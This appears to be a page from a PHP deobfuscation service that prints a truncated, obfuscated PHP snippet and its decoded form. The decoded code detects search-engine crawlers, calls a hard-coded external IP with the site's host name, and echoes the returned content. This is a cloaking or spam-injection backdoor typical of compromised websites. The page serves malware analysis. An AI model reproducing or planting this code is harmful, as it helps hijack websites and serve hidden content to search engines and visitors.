Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

\x48\124\124\120\x5f\x55\x53\105\x52\137\101\x47\x45\116\x54"]; goto UZcpa; jVHDK: @error_..

Decoded Output download

<?  HTTP_USER_AGENT"]; goto UZcpa; jVHDK: @error_reporting(0); goto fu1F4; NNhkB: if (strpos($botbotbotbot, "oogle") or strpos($botbotbotbot, "ing") or strpos($botbotbotbot, "ahoo")) { $xxx = base64_decode("NjU="); $xxx1 = base64_decode("MjE="); $xxx2 = base64_decode("MjM1"); $xxx3 = base64_decode("MjUx"); $xxx4 = base64_decode("aW5wdXQ="); $xxx0 = base64_decode("aHR0cDovLw=="); $xxx00 = $xxx . "." . $xxx1 . "." . $xxx2 . "." . $xxx3; $xxx11 = $xxx4 . "/?useragent=" . $botbotbotbot . "&domain=" . $_SERVER["HTTP_HOST"]; $url = $xxx0 . $xxx00 . "/" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "href= ?>

Did this file decode correctly?

Original Code

\x48\124\124\120\x5f\x55\x53\105\x52\137\101\x47\x45\116\x54"]; goto UZcpa; jVHDK: @error_reporting(0); goto fu1F4; NNhkB: if (strpos($botbotbotbot, "\157\x6f\147\x6c\x65") or strpos($botbotbotbot, "\151\x6e\147") or strpos($botbotbotbot, "\141\150\x6f\157")) { $xxx = base64_decode("\116\x6a\x55\75"); $xxx1 = base64_decode("\x4d\152\x45\75"); $xxx2 = base64_decode("\115\152\x4d\61"); $xxx3 = base64_decode("\115\x6a\125\x78"); $xxx4 = base64_decode("\x61\127\65\x77\144\130\121\75"); $xxx0 = base64_decode("\x61\110\x52\60\x63\104\x6f\166\x4c\x77\75\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\56" . $xxx2 . "\x2e" . $xxx3; $xxx11 = $xxx4 . "\57\77\165\163\x65\162\141\147\x65\156\164\75" . $botbotbotbot . "\46\x64\x6f\155\x61\151\156\75" . $_SERVER["\110\x54\124\x50\x5f\110\117\x53\124"]; $url = $xxx0 . $xxx00 . "\x2f" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\150\x72\145\x66\75

Function Calls

None

Variables

None

Stats

MD5 8ddd4a82fd953285aeb5627f770d1643
Eval Count 0
Decode Time 46 ms